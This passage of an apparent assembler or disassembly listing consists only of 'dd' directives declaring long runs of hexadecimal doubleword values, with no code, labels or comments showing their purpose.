9299A3D5h dd 6EE400E5h, 8AC01F88h, 3F201300h, 0E1094C43h, 56DF1E02h dd 4F08806Ah, 73D12F94h, 9000397Fh, 47BF5455h, 98DCB6h dd 6C76C5C1h, 866B5FBAh, 0DF0727E4h, 5C8BEEA2h, 0AC1811A0h dd 904D0703h, 0FE1C7F05h, 0D74E77A0h, 0DE0E8DB4h, 81E30FFFh dd 45E812B9h, 0B05C09C0h, 0AA4F3E4Fh, 4C6C9E00h, 9D0DBCBBh dd 0CF3CC700h, 0AB638FF7h, 187371h, 0A0C3FE6Eh, 0C1E12F5Eh dd 0E4F947ECh, 13FA4D3Ah, 9FBFF21Ch, 5A16C700h, 0D3FAC2h dd 0E070A59h, 1CA8B2CDh, 95397BE6h, 3F2CBD8Bh, 41BD8072h dd 0F8548011h, 0C4EE00A5h, 0A9622A79h, 58FE78D3h, 8135DB00h dd 301A0F5Dh, 87F53FA5h, 3325B60Fh, 7FBF409Fh, 9293BCC6h dd 2D7CCD07h, 9CF0A385h, 70651E51h, 60709711h, 0CA64F50Eh dd 0F6036060h, 75F0F1h, 0FC4B067Ah, 0DCB10595h, 0BAAC671Eh dd 6C814441h, 15C0FF98h, 0F117004Fh, 1D8584C2h, 580077E0h dd 425051DCh, 0F38D76h, 15A7CB1Eh, 6D1B3411h, 9940870Ah dd 66009970h, 0A5947D19h, 0DCD26014h, 0E81B48B1h, 0A7525700h dd 3729DB0Ah, 7148C053h, 0CA2CD894h, 83729A00h, 0D3131448h dd 405E1F15h, 0EA00FED4h, 60AEAC2Dh, 0B407BD10h, 2CF79F5Ah dd 0FF171C50h, 4DF300FBh, 0D5B26BF9h, 600021B6h, 0F739693h dd 0EE204B02h, 0F4F20037h, 0BCCCCE08h, 2E03C40Ah, 8C2536D6h dd 2613C804h, 0C0610062h, 4DED82BDh, 8D004149h, 0DA6DB0Eh dd 7ADFCD64h, 871E3845h, 703D4380h, 0F3B8D40Bh, 80AB093Eh dd 353EE8F4h, 6F6ED8h, 39EC221Ah, 0E02FBD9Bh, 91634600h dd 72D0AC01h, 0CAD4E5DDh, 74200095h, 2B8485F2h, 1500D4B6h dd 0A165703h, 6C30A4h, 0F188871Dh, 60285CC9h, 5E107C07h dd 0E470F494h, 0E72F1Bh, 0FF808F78h, 0B64B5A5Ch, 13480100h dd 715F843Bh, 0EFDCFC5Dh, 7F17E60h, 5BD41EDh, 9B0260B3h dd 8C001558h, 0EC4CF8A3h, 0CFC927h, 95B442D4h, 4FD9D3F9h dd 5087BE00h, 0F2C06DA9h, 9053011Ch, 765CFE5h, 0C315F4B1h dd 0D7DFFA06h, 0A0744Bh, 8A48FCB8h, 692796D9h, 7DD6C500h dd 98CA6D79h, 679F00C3h, 0AC309444h, 0C7B8E2A6h, 0F38FBD05h dd 89C07A70h, 97350Fh, 6904248h, 55628453h, 42AA003h, 0A0EDC139h dd 73D67h, 0DF73E0EAh, 0C39B3843h, 51EBEC02h, 0E034E4D5h dd 797F1A9Ch, 21043EE7h, 0D0ECB780h, 50C03661h, 0F7CB3A00h dd 0DD806B9Eh, 55B2006Dh, 7105B303h, 0A500E291h, 0F4C23444h dd 0D8A454h, 86884B6Fh, 0BC792D80h, 1AE2200h, 0DF712F97h dd 5AF64C2Bh, 8B00BB3Fh, 39502CE1h, 4703EF03h, 9E2D9284h dd 536CD87Fh, 0F8EA7460h, 0E45C00B1h, 0B5259D33h, 0C6F21B74h dd 8103B00Fh, 12BAA734h, 639E9F50h, 93330018h, 0D5C2D3E6h dd 83004BF8h, 0A39BADF9h, 3E4884EFh, 0B8794A5h, 0FD530Ch dd 556DD45Eh, 68C09700h, 9FE1FAF0h, 853101C6h, 5D9E5B26h dd 3BD74159h, 0EC71FC7Fh, 0C6EAC400h, 0CE1AF038h, 3E97355h dd 20544E2Bh, 0D1C0EDA9h, 0A800D7CCh, 6FFD34DAh, 1EEB6C6h dd 0EC8FCA2Fh, 0E4AEB014h, 2300D4B7h, 4F996080h, 0F6270F1h dd 9B3AD691h, 15C65300h, 9D00745Bh, 0B5F44840h, 0ED98EC3h dd 3BE0D451h, 860DD200h, 4209F539h, 8F6E4EB0h, 667CC0E6h dd 728B3Ch, 328CCC0Eh, 0AA956312h, 10C7C800h, 85157390h dd 0C5D203A9h, 6A0F9CF7h, 0AAC84798h, 439D1B03h, 0F03FE3A3h dd 123BCA01h, 0E5AC7Dh, 8ACE9820h, 0A4014AD6h, 0B2552268h dd 1F20AEA5h, 262901Ch, 4717C8EAh, 0E9E097BFh, 0E371A49Fh dd 153826FCh, 99700040h, 902413BDh, 0C20B008Eh, 0E7657688h dd 6300543Bh, 0A399FA57h, 0F398C0h, 0DDF0E4C5h, 4573DA38h dd 23C3A400h, 524FD04h, 0C775005Ch, 0F916C64h, 0AF3B7C2Ah dd 21F200C8h, 0A514E6Dh, 0B24000E3h, 0C3CDBCF6h, 9001A427h dd 18EF6345h, 7C4C201h, 1E5F00F8h, 5E292FA0h, 4C06FB2h dd 4D7D92A5h, 34F00BCh, 0FADE3B9Ah, 0D000FE0Fh, 85D7145Ah dd 2F139072h, 0B3009DB0h, 5E32F90Ch, 4CB2DB07h, 3CD02B7Bh dd 9B032Fh, 534EE380h, 3EE98EB7h, 0EB6ECF03h, 0E82CFC01h dd 98D7CE84h, 116F01D8h, 0AF57999Fh, 0EDE9434Fh, 3BFA49C8h dd 0CA92650Fh, 934CC340h, 90BBE8B9h, 0B0B50032h, 0F045ABF7h dd 120074C3h, 2D1DDE61h, 7043A78Ch, 0A171C0h, 0E7E54CA3h dd 23EC7530h, 0A2527600h, 0B58E4A58h, 489D00EFh, 978A4181h dd 64EE890h, 859973C0h, 23DC24B0h, 0FECB00D8h, 6EBDB92h dd 3E3D0700h, 53AA04B3h, 603B1F9Dh, 0F8114369h, 8CE8EA32h dd 0FA0FEC13h, 20D03D1Dh, 0A733AD8Eh, 0BA340020h, 0E957D5F1h dd 0D416A4CCh, 0BE0014A3h, 9B1B1F1Ch, 80EE0035h, 0CEB47D6Bh dd 6500B6E7h, 0F5404691h, 353BB3Fh, 12399F5Eh, 60D84707h dd 67006C66h, 0F94B0A9Bh, 5C717C7Ah, 783B9B38h, 7F602A80h dd 3B0EFCBFh, 0EF25770Eh, 5210E0CCh, 9D6AB9h, 0C94C79E0h dd 1D509CCDh, 0C8861A00h, 67ED5B10h, 919B00F0h, 6220B6A6h dd 8E00AEA7h, 43FDC264h, 5CB3FA4Eh, 1F009461h, 91036DE4h dd 52007A7Fh, 0B8F5F340h, 0E8C857Ch, 5AC1CBABh, 4B00E6ABh dd 0B3B90369h, 7B847A00h, 0A22D661Ah, 7F121DDCh, 85CF41FBh dd 0CB4D2139h, 51CC3FB0h, 0C0C0AF79h, 695502D8h, 0F375004Ah dd 0C179BC66h, 0FA001AD7h, 30DA9C7Ah, 336A93h, 4404FF13h dd 0C2983180h, 14FE5A00h, 6A66E321h, 33BE28Ch, 3C7CF175h dd 93F05733h, 0A4F49C2Fh, 1B240A0Fh, 0E6BDA01Ch, 0B2A8F5h dd 0AE69CB97h, 40F7283Dh, 9A6E9500h, 6B592CBEh, 82563B19h dd 493BE500h, 0A9FD2DB9h, 349B7C03h, 0F7C7159Fh, 3A450A00h dd 0BCF30039h, 0F0F558C5h, 21F4D72h, 30C24653h, 0E07E6AF1h dd 2F92A1h, 0ABD34BB4h, 49C6B751h, 8D062B00h, 0D16DE0ADh dd 0AA7C1Fh dd 24E5B584h, 0C30D09FDh, 59DA810Fh, 0B2422534h, 0EC1E8DC0h dd 0B9CF00B7h, 99A398CCh, 8A00A831h, 0AFF9EAF4h, 677BBCh dd 58C79DD4h, 0E4B6B908h, 994C7D00h, 0CCB71190h, 1C4A003Fh dd 70CF150Dh, 6B00FA55h, 0FFE042FEh, 160FD5h, 0C62F75A6h dd 65696E9Bh, 2DD34100h, 54118DA5h, 0F5EB0439h, 0C0A26260h dd 5552D731h, 0B1644900h, 0ECF01A2Dh, 5472003Eh, 0F2800837h dd 0EE3E4E3Ah, 0C251008Ch, 0D2A0156Dh, 962A019Fh, 0A3BBD56Ah dd 1AFF4067h, 260F9E28h, 60320222h, 34D6F0F6h, 5CEE00B0h dd 0CC6C1703h, 743B9F4Eh, 0D0820014h, 3D5E2C7Dh, 0E3EB133Ah dd 1AF1E08Eh, 0A739F1F2h, 1DE40010h, 1E5D4791h, 5BE0C4h dd 97302E0Eh, 203F42BBh, 92F7E400h, 2F23A419h, 885300ACh dd 0B0D3BC9Ah, 9F3FEF8Fh, 1100F53Dh, 0F261B5FEh, 0EAFA66Fh dd 5B91E7EBh, 1B734CEh, 0D9F6DF0h, 5FA8D81Fh, 0EA19780Fh dd 52B28031h, 0E938FDh, 29DBF55Ch, 8CAFDF48h, 5471F800h dd 7E90F798h, 686D0053h, 45338701h, 0FB00F0E8h, 5F709DECh dd 0CE1C75h, 3AEB85F2h, 1451870Ch, 9A407E00h, 2E7803CAh dd 6A911FB0h, 58D4C031h, 0AD8FA993h, 6F003A7Bh, 0BFA83C1h dd 6DA407h, 67DEDA62h, 569502D3h, 58058700h, 0BA44AB2Dh dd 96BD1C9Bh, 12790023h, 0B930C3D4h, 0A1635302h, 0E017FB3Dh dd 0EA8C336Ah, 0B41C00D6h, 0E4D33095h, 0AC0031EBh, 80E73BF5h dd 92C1Ah, 0B421BADFh, 19E086D6h, 0ECD33E00h, 587DA25Fh dd 23150025h, 0F496C487h, 110250AAh, 63CDE355h, 72F9605Dh dd 0D51A0038h, 4827D484h, 3D001EF7h, 0BFBC0F47h, 75313CDBh dd 52F500F4h, 946DD917h, 0D200A5D4h, 8BCB206Ah, 240E1857h dd 3A67E48h, 64C0ED63h, 5561ADD0h, 79B97000h, 27AA88D7h dd 0DCCE50DAh, 2A8500D2h, 0B7C98B77h, 5D00EBE5h, 0DF8E0952h dd 1C134D83h, 0BD9390B2h, 0E8F84280h, 0D0C1128Ah, 0AC002572h dd 0C32446Dh, 3822FC89h, 1280EA34h, 0DD6940ADh, 0AC00709Bh dd 5C9101C7h, 0F21AFAFEh, 27F900EFh, 0D6A5F63Fh, 0AF00ED75h dd 0E528AD17h, 0BDB35Fh, 0B1E4272Ah, 35346DA7h, 92B2E00Fh dd 8F4C433Ah, 12179850h, 93FF00F5h, 1AC6988Dh, 1F00736Dh dd 4372EBD8h, 3B290D13h, 0BF804976h, 4C9AA455h, 513AC7CAh dd 8AB980A1h, 521E5EAAh, 677F1Fh, 8B3E0185h, 94DB0729h dd 0C7050C03h, 0B334E0A9h, 2A17D0CDh, 0E6600078h, 0B089D74Ah dd 37009A5Ch, 3ACF29C6h, 87C849h, 0ABA47C76h, 501FE9BCh dd 0B8358309h, 0CB2C00D1h, 189D31Bh, 0C58DCEADh, 6075BB31h dd 0C100D739h, 2B827044h, 3606A87h, 0EA4C3D34h, 0BDB066F2h dd 42001117h, 0C5216C7Dh, 3C267535h, 0DF80A170h, 0A25B1EFBh dd 18000BDDh, 7B8569CFh, 7978E65h, 2DFFC8A5h, 0E99230F3h dd 0D600BFE5h, 62599B02h, 1FA14DF1h, 236DB0h, 80555498h dd 2FC5C0Fh, 56F468E2h, 1E249EB0h, 12000C0Ch, 8E5606Fh dd 74B07FEh, 0A0846EFBh, 9ECA97A7h, 800B463Bh, 0FD78D871h dd 7C17C60Dh, 0A8570062h, 0F6C7A6A0h, 8876982Ch, 11A9D300h dd 17D58568h, 6503008Ah, 324BBDB5h, 4A009F0Fh, 6ACA4498h dd 5394BAh, 695A0D42h, 189E2705h, 72BFF600h, 4E663EDEh dd 0C14800D6h, 0E9E4D976h, 7A009C80h, 0F41F4DC9h, 0E2515A7Ch dd 43550004h, 4EE4DBCAh, 0DD3A520Eh, 0BD111D9Fh, 50B8079h dd 0F59E6951h, 499300D7h, 20972F24h, 0FB000188h, 238EBC02h dd 7D5D1Eh, 59D8A01Bh, 255031E6h, 0F1441A00h, 64410CBDh dd 15ED00B7h, 0C23BB98Fh, 0F5EE3291h, 79253401h, 0F3AC8E9Bh dd 0D184DCh, 36AF77D9h, 14337CAAh, 4C5E4600h, 56720A85h dd 0E90303DDh, 58B82637h, 4AA8A09Bh, 71007BEEh, 8BD99145h dd 1EF2CC4h, 0A7E12FA6h, 705F1738h, 0BB77696Bh, 0A02E4C00h dd 61A87396h, 8BBC0083h, 0A74330E1h, 0A203F795h, 1432C5C6h dd 7C98F844h, 6573D5h, 0BCE5382Bh, 0EFC02694h, 0AC798C00h dd 299958E7h, 47390060h, 1C3C8A7h, 4F00A9A8h, 8AB03659h dd 3F9FFA99h, 0E005893h, 77FCD619h, 0E42CF602h, 2900AEC0h dd 7D2D48D2h, 0BC52031Fh, 3C9F4567h, 82FD20BFh, 0AF0E5EBFh dd 0E3E85ACh, 25A480E2h, 0F9E56Bh, 0F69F5BF4h, 73BA9438h dd 0BB36AD1Ch, 0E10054EEh, 3FE546A8h, 33601DBFh, 6FB487A1h dd 7FAD809Fh, 0E21D7D55h, 0A740385Dh, 2AC8D265h, 5B0FE11h dd 4C603F29h, 96A4808Ch, 4AF4F0ABh, 0BD70970Fh, 0E59D842Fh dd 1B2B59C0h, 6A570081h, 0A8E6E228h, 0E700A47Dh, 51E10D76h dd 0D7E9F2h, 1F01C4CFh, 0E4F0C3FAh, 8029B338h, 0E3B96A4Ch dd 1D445BAh, 0A1102781h, 0CCF716FBh, 600F798Fh, 61D5957Bh dd 0BC315BE4h, 583E60h, 0D88E5EC7h, 0F7A9B99Bh, 21AE7703h dd 0A81BDAE7h, 1C7220h, 0CED3B58Dh, 0E85C7E5Fh, 40570701h dd 79082ED6h, 0BFD89AF1h, 433C00C0h, 0B9287301h, 0CB003B23h dd 0D7C59B7Bh, 5A698F7h, 7D376759h, 8B4DC0CCh, 0BDFC64BEh dd 811A534h, 201EF400h, 89DD7Bh, 7DB761B1h, 56735AA8h dd 5D1FEE00h, 5444F18Dh, 182D002Ah, 3675F93Ch, 3A0046B2h dd 0DC1AE2C1h, 7A574ABDh, 0CB8600C3h, 41999148h, 6800B5BAh dd 0E98FDE36h, 582DAE0Bh, 1F1DBE35h, 0A8007861h, 0C91AA1DAh dd 2B006540h, 0F8D798CAh, 224E63Ch, 4A01CFDCh, 0AF60F767h dd 84017BBEh, 0F11A897Fh, 0C0E6C9E5h, 30857A6h, 0B6BC2010h dd 0A2804149h, 747377D1h, 342E003h, 0C00AE344h, 3D9F8BAh dd 17F04EE5h, 48D8DC30h, 0FB0087A7h, 0CDF45965h, 5C3DDD6Eh dd 4100AE8Fh, 18EDD198h, 641CFE55h, 3B4016C2h, 0BFE8C33Dh dd 8E4E3CC5h, 0ED3F4400h, 0FDF8D194h, 0EAD69500h, 5AF9E306h dd 0C956001Ah, 0AADE9A46h, 5900820Dh, 0D82C9C11h, 55CF1A1h dd 2A92C238h, 77FBC047h, 51075B39h, 95701B3Dh, 0BF609677h dd 0A129C1h, 8E5DDD16h, 5B3E3F9Bh, 2A008075h, 0FEE84056h dd 0B99DFDh, 7EB53DC4h, 69BDED07h, 0BA00FA70h, 96B05268h dd 0F36689h, 0AF023DB3h, 0F9BD8B04h, 0E7560300h, 706AB2BEh dd 0DF0D008Ch, 20DA8AABh, 8900E6D7h, 0C34604D8h, 4A836Dh dd 0D3DF3190h, 10F8883Eh, 0B7F1B3Dh, 56D5758Eh, 402F1C25h dd 448D1923h, 0E8F613C1h, 51C5B60Eh, 4FE100AEh, 0FD248h dd 0B47F64F0h, 0C6A34586h, 50039298h, 5C838FFAh, 0CFF6B85Fh dd 7476DFh, 36D83C60h, 4B85D5C9h, 4710BA00h, 9E9CCB19h dd 0F39D002Ch, 0FA710BCEh, 0F13EDBB5h, 38D801EEh, 45520AF0h dd 2726AC4h, 0A3FB4005h, 46E04E21h, 600097ADh, 0C3099CB2h dd 0E4E09687h, 0F0070E0Bh, 0A8801805h, 0D00C534Ah, 9952A700h dd 6CEA7688h, 0E58D0259h, 2A24EB47h, 0B057C161h, 4EB91660h dd 4CDF00A1h, 83FD1336h, 211FEDD8h, 6C042DDh, 0D4022227h dd 0AC18006Bh, 58698B41h, 5558E264h, 1E093C09h, 98C09BB0h dd 0D0338051h, 9AEC30h, 7C2320CFh, 769ED612h, 56601976h dd 0E2136BA6h, 0F8EB00CEh, 0E0EC8396h, 20000FEAh, 0BFD21F6Ch dd 0EEB812h, 8B75D8FCh, 610AC32Ch, 0DDCE0F00h, 689D36F9h dd 74120057h, 7D111CCFh, 0E2009490h, 0C18B78Bh, 0EE1BF0h dd 70F28595h, 6F23F56Bh, 4FC32000h, 0CF04966Dh, 7FBA1E5Ch dd 0DD6940C4h, 2EFC32B1h, 68144C00h, 0CE503C4Bh, 0D9F001B5h dd 0FE47F6BEh, 0F157C0A2h, 0B09BC700h, 562C28C9h, 206903E5h dd 4A334319h, 0D72A508Fh dd 0F700A13Dh, 0ECB91E38h, 0A8E942h, 445E5D4Dh, 0E2D42B66h dd 0B1B6D150h, 0A23C3500h, 14902356h, 617B00D2h, 5A5DAC7Ah dd 64004F92h, 493C8DD0h, 0EC2FDBh, 0DF9CA9B5h, 0A552942Bh dd 0AD0B990Fh, 0A1B7603Ah, 494E29h, 396E3043h, 0E103C2D2h dd 59153Ah, 0F44D58CEh, 0DF2A60h, 222D1CD9h, 0D748AE2h dd 0E1689400h, 59063D80h, 97230048h, 0F1335EF9h, 0ED3A1314h dd 8BA2007Fh, 9B184FF2h, 20053AD5h, 53FA5F80h, 0EFB2F46Dh dd 80081E8h, 36676496h, 1FEBA43Bh, 0C0FED701h, 0EA6F4DF0h dd 71031C68h, 0D2257B33h, 0E7EFC8C6h, 82D30F32h, 99A0E0F5h dd 4D941261h, 874A7E00h, 84C33E2Ch, 0DC921C7Ah, 9924405Fh dd 0FE6C3AD3h, 5AFF2A00h, 0C723B340h, 0ABFCF768h, 6078001Dh dd 3202C96Dh, 5F00F3DFh, 0D093DCE1h, 0F8B997h, 7046CF2Dh dd 0C031E910h, 8267A200h, 7B569614h, 59C3008Ch, 0D37FD1BAh dd 0CF00F51Bh, 193C6E8Fh, 46BC10h, 0F0A3B47h, 0D53622B9h dd 9878ABEAh, 89A37F00h, 0E3EAA756h, 0E23D3997h, 61D6FC00h dd 87E84C5Ch, 446FEC00h, 0A86E31BFh, 7D45008Ch, 0FCEBC8E3h dd 0A700EF3Ah, 5E2C0FFBh, 0DA8D2Bh, 0BD614166h, 82CEA4A1h dd 9A0080F4h, 0B8851914h, 72E8839h, 0C97C66C6h, 0FBACA079h dd 8AFA3E8Dh, 504B7800h, 0F45FB815h, 0CD7463h, 0FB829611h dd 0C2812683h, 0EBE6BE00h, 0F57E9718h, 773800AFh, 0DE513BD2h dd 0C000665Ch, 59D77FCDh, 194BD9h, 8FA81033h, 8AC5F00Bh dd 81A0B002h, 0C0D1C939h, 7CD98CDCh, 1DE0E68Bh, 80135CF4h dd 0BF344B9Dh, 9C00124Fh, 601D3177h, 9F34Eh, 7DB411FEh dd 3510069Bh, 0C5B22700h, 5F623D9Fh, 0AC6D0099h, 678EA645h dd 71001D10h, 0BA302528h, 0AA2E41h, 0C73492B6h, 5D0D5E53h dd 3E528800h, 4F7B7DE4h, 0ED861E43h, 80084061h, 451895FFh dd 0FFB95Ch, 2A6A624Ch, 742B5EDh, 2287714Dh, 0C9F6404Ah dd 2D0BEC41h, 0FDB90AA2h, 20B26A00h, 0C00A79Fh, 1E1FDC0Fh dd 79B9175h, 0EDF9D542h, 557E4082h, 980966ABh, 0DC510563h dd 0CC4400F8h, 0C824A8F0h, 71C98100h, 1850754Eh, 0FB430108h dd 0E87E20A1h, 5A2C309Ch, 0C1FD4200h, 0D370F760h, 0CD65383Dh dd 72CBC880h, 8F554AADh, 17AEFE01h, 1B027785h, 0B59FE8h dd 0D02C8129h, 3F641016h, 417CF300h, 3CCAB2AEh, 0FDE20095h dd 0B88B994Fh, 71008725h, 279C9319h, 7DA76E1h, 3B435774h dd 25BDB068h, 0C501C2BAh, 1CBF0844h, 0ADD44F76h, 50691C3Bh dd 59D40093h, 0FED38105h, 0C6B81D00h, 6E2843D5h, 2847947h dd 7D3501FCh, 0FBC03E1Ah, 0E9008153h, 236946B5h, 66BF4h dd 0A7786CDDh, 7CF6E543h, 0DE00B072h, 6944AD35h, 0AFDA19h dd 0CEEB7A8Eh, 1B4C4693h, 0DCC50900h, 0F03080A4h, 82E402A9h dd 0E141B71Ah, 0A08EC2E0h, 9814E81Ch, 0A15AD900h, 0BFFACAh dd 0BE59DB48h, 9B94364h, 0AAEBF300h, 75E4C3C7h, 0E87C0Eh dd 3B6C7B2Fh, 39319C5Eh, 1ACF9900h, 0B3A76A87h, 4D841D70h dd 0A34C094h, 8121B86h, 9A379800h, 2777F1D2h, 1A6E057h dd 7E8AECF4h, 0ECF29EC3h, 880451A4h, 0F8FCF7E0h, 0D668C4C0h dd 798B0090h, 607A9558h, 74000C31h, 81EF71B4h, 672770h dd 9B9489D3h, 37BFBB23h, 0A38DC100h, 1601A613h, 8E7A55h dd 73B7D836h, 43DEFE17h, 0D575EF7Bh, 6EB59E04h, 9C810926h dd 0E3CCC1F6h, 99FE00B3h, 0D843373Fh, 3E3BAC64h, 0C5D18096h dd 9F656333h, 1756007Dh, 22B18395h, 59751DE4h, 0F314AE1Ch dd 24803540h, 0C48C1Bh, 2EDB63A9h, 2150EE56h, 0DD091E03h dd 0B0E42DB0h, 3F40675Ah, 8B001BF5h, 694DE58Eh, 6400715Ch dd 0E26512B3h, 0FAC30389h, 5CD276E3h, 0E70780CDh, 0F1FF56DFh dd 0E4B2DAF5h, 15751877h, 86BD1C00h, 73392040h, 4F984Bh dd 0B08E0D4Ch, 16B79F4Eh, 71B8D200h, 29EEC774h, 813C007Bh dd 0A021E5AFh, 0D218E750h, 0EAB8C1AAh, 0F25A00EBh, 0A7481692h dd 0CAEA30F5h, 0B8D6A428h, 4D0043EEh, 0F22DB483h, 2F0207h dd 157B477Ah, 0D184D9FCh, 6D3A85F4h, 0E4F081A1h, 72378339h dd 978EE8h, 6B0C4F49h, 0E0121E22h, 83AFBD3Ah, 18D506D1h dd 0CF8DC8F7h, 0EE36002Eh, 796C5CE6h, 5D70197Ah, 0FAF0565Ah dd 0B5A10046h, 9D58C683h, 0CB00C309h, 12FF02F2h, 1ED48426h dd 400A5B7Ch, 9D895081h, 5F00201Ah, 1D63EA09h, 1A4CFE9h dd 27336C74h, 0C0045A0Ch, 0EA01655Eh, 96FC373Bh, 4A8E8693h dd 807FA47Fh, 158C0CFh, 0EE005C81h, 9ECB37DFh, 7ECB5D7h dd 3C43B407h, 44F063CAh, 987B0ED8h, 0DA92B800h, 912F852Eh dd 9E4F2663h, 6A09028Dh, 0C5603083h, 453CD366h, 80523E37h dd 0D81A5692h, 0D6390Ah, 333824C3h, 443A11A0h, 0F4C5EC00h dd 0C80E1C1Eh, 0D98B00B2h, 0A5719102h, 0DE4A24D4h, 2D0BEEE8h dd 0B009282h, 0CFA0FF13h, 8303C47Bh, 0F1C2C186h, 0F401D8E9h dd 0E5EB3C24h, 5844CE80h, 189897E7h, 41A64D00h, 23962502h dd 0AE300C8h, 390EA5B1h, 87051972h, 0FE667642h, 0E632A980h dd 13620767h, 90CA785Eh, 51A7F9F7h, 1D06F100h, 799389A6h dd 8EC500FBh, 4972E7ABh, 0C43EFFCEh, 0F9A80042h, 0B0F4B155h dd 53F33C18h, 0D8622D00h, 0D3BAC543h, 4856B816h, 0F0D0ED00h dd 0A55BFh, 0A08CA1C1h, 52B77F1Fh, 0CF464E1Ch, 2A0085D7h dd 0AA6B849h, 9BCA0107h, 0C8BA13E6h, 0F1DC8115h, 2BE7B4Bh dd 0E0AAD0FBh, 0B9D0027h, 66E1F9A7h, 0EC7C8FB9h, 0A29EB200h dd 50615817h, 0FD2D1FC6h, 4DC9C05Fh, 273E0223h, 0E352C80Eh dd 0F92C00B7h, 96AF15h, 8C1A7ABCh, 0CA9E1F31h, 5817D00h dd 748DCCF3h, 39E464h, 1D83B7DBh, 715B23D5h, 0BC1EF7E8h dd 0AE808FDEh, 2556DBECh, 77DD004Ah, 3F41EBA5h, 307FA81Ah dd 0FCD7A600h, 0FE0F44EEh, 842B00CEh, 0C766F07Bh, 0D21D65CAh dd 0B000F859h, 5B8CC687h, 4F1300EEh, 0CB9ECC92h, 6600AD4Ah dd 0BA98FF21h, 703588h, 0DC046B29h, 223FEC11h, 7C795E07h dd 0B140367Fh, 73AEB8EEh, 910E0FB0h, 0EA00645Dh, 10BA33AAh dd 0E5FC070Eh, 3BCB009Ah, 3C6587Dh, 265CE88h, 77FFE72Ah dd 8C31E27Eh, 2D3E50E0h, 0DA14F900h, 81967C9Eh, 0F664071Fh dd 3BEFC088h, 0C6598400h, 8B746A2Bh, 2A3DC398h, 2773003Ah dd 0C007337Ah, 0EE0DE083h, 1C70016Fh, 0DDE14A47h, 2BCCE05Eh dd 0F25E500h, 2A51614Ch, 47B400FFh, 95493011h, 1300CD04h dd 0E33E144Dh, 62E2C5h, 51907D73h, 75120A30h, 23D41900h dd 7B2E76D2h, 2B361464h, 0A300BDDAh, 75EC0B96h, 0A500F2E6h dd 9790CD70h, 0BC3524h, 912DDFF5h, 2BAD7FE3h, 0E416C32Eh dd 12C0EB1Ch, 0A534DB85h, 8AE700B0h, 78AF2370h, 40283B36h dd 4B00CF14h, 66D02B5Ah, 13A50Bh, 33B318ADh, 16727383h dd 0E9DB291Ch, 4C0D1240h, 6EF5D7h, 9AC8CB55h, 40EDA63Dh dd 5F038h, 21D23BA3h, 0ECE7D535h, 0B5DA00E8h, 53C8CE4Eh dd 0EB0026E6h, 0CC81F61Fh, 73B1D16h, 5940FA79h, 8A20C076h dd 0A20F7729h, 209FB49Ah, 63D5DB16h, 157396h, 0E0E65A34h dd 565E2EADh, 0EC027900h, 0AAAE260Ah, 464803F3h, 143FC247h dd 0F53D5AF0h, 5B21A300h, 6B4D8698h, 62B00039h, 77094A43h dd 8C00E1CBh, 5C4EAB25h, 81D110h, 3AC0FCA3h, 4C19C5EAh dd 0C837B100h, 0F8358045h, 0C199006Ch, 0E23CA7E5h, 812C0AB6h dd 860039D8h, 65F9C2A2h dd 56C901D0h, 16FAAB04h, 1FDAC814h, 40B058h, 0B76685Eh dd 21EEF6h, 9737FDA5h, 3FD28CEAh, 9C001598h, 0EBAD1436h dd 1E7522D6h, 40973179h, 0C92328B4h, 0BA009FF7h, 66B03671h dd 7A459Eh, 4C5C42BBh, 17819092h, 46C3C801h, 0F3EB6B5h dd 7EBF70h, 606CF215h, 281A7BC6h, 236AD00h, 40479A39h dd 0C078DE78h, 90D47FBCh, 7707B465h, 0F55186C3h, 5F1CE2A0h dd 3F210062h, 96C3A60h, 0C30399A2h, 0AB262FE7h, 0BABEF011h dd 713700CCh, 327FB8C7h, 6700FDE9h, 0EB6FA7AAh, 9242C0h dd 0C254A694h, 7FF79570h, 3FC80D00h, 0DD81577Eh, 0FE11EC0Ah dd 735B07DFh, 506F7D3Ah, 0CD6E5F0Dh, 35EBB600h, 0F5B307B0h dd 0D2463956h, 0FD13E700h, 0C9E3494Bh, 98E2A200h, 0D9B46357h dd 0A5B60373h, 4F18DE6Ch, 87428380h, 531CF71Ch, 19A1F300h dd 3F2B9Ch, 550949EFh, 0CA17F172h, 90B7DA00h, 0CC02BCD4h dd 28420085h, 3C55D247h, 0AD07D343h, 8FBD5AC9h, 0E8D61BF0h dd 322600AEh, 9D0580B0h, 6C0006ECh, 0AC235FF3h, 0FC1950BAh dd 15D0001Fh, 0EBCB7A88h, 4EF6E704h, 0E89B860Eh, 9785230Ah dd 0A65EB062h, 0AD410177h, 0F8027C44h, 1275C86Dh, 9BF73F09h dd 0E5118088h, 3C2CB1B2h, 0AB00AFEEh, 68D67552h, 6F00EBDDh dd 4910DF6Ah, 0C49406h, 36586317h, 0EA3BA78Bh, 70E7A0Eh dd 0FDBB400Ch, 156CE7h, 0FF6694DBh, 0ACB769F5h, 0C0C3E400h dd 6C61811Fh, 0EA0B77D3h, 44A40075h, 82691302h, 0D63DC921h dd 0F8AB80CEh, 0A85D28A9h, 443B1D4Ah, 8FEDC009h, 5240DDC5h dd 0F4F13800h, 9DB3997Eh, 7D7600E8h, 491B4879h, 0D601124Ah dd 0CDE71742h, 2820BC85h, 3E1C000Ah, 0B61BB14Fh, 9E5846F5h dd 0C71F0088h, 0E6076155h, 0D080269h, 0BAA416A2h, 30846740h dd 8EAD0E00h, 0B097D9FEh, 17D11EC7h, 24CA6619h, 0AEA10355h dd 0E74E43h, 0A4D9F652h, 0BBC8A800h, 16E13B53h, 0C3700BCh dd 2D273C45h, 0A100ED60h, 7CB8D8ACh, 0A9354Fh, 0BEE691Eh dd 0CA5CCB8Ah, 874BA000h, 72092730h, 0D65300B5h, 331B281Ch dd 7E07732Eh, 0B44BB6F0h, 2BB36F90h, 54210BDCh, 7E001E26h dd 225586Ah, 155C107h, 0D560DD85h, 0F3F8EBh, 0C68F6564h dd 572683BDh, 228CFA00h, 359E2D78h, 0A94F0088h, 48CAC938h dd 90000FC7h, 13CF34A8h, 2D081AB6h, 0CA40686Ah, 0BE000A77h dd 1FFADF66h, 0E6031ACh, 6E91F414h, 20023BE7h, 9DD230Ch dd 0D077BA09h, 8B510035h, 0B211478h, 0F443707Ah, 250D3080h dd 3E0037FBh, 0AD29FF4Eh, 21B11Bh, 0E88B0F87h, 81D07384h dd 0FF33CF00h, 0EF921D4Eh, 609C0094h, 2280A43Eh, 5F011253h dd 0EE113AE8h, 1EE03940h, 37700F60h, 0BC404457h, 485022E0h dd 65342407h, 11408D5Eh, 90F86Fh, 3EDE60B2h, 9D9402BAh dd 7E61493Bh, 76843F00h, 1956F104h, 0D3D609BBh, 0DD8265h dd 0D125A1A8h, 409600E7h, 8A1D3977h, 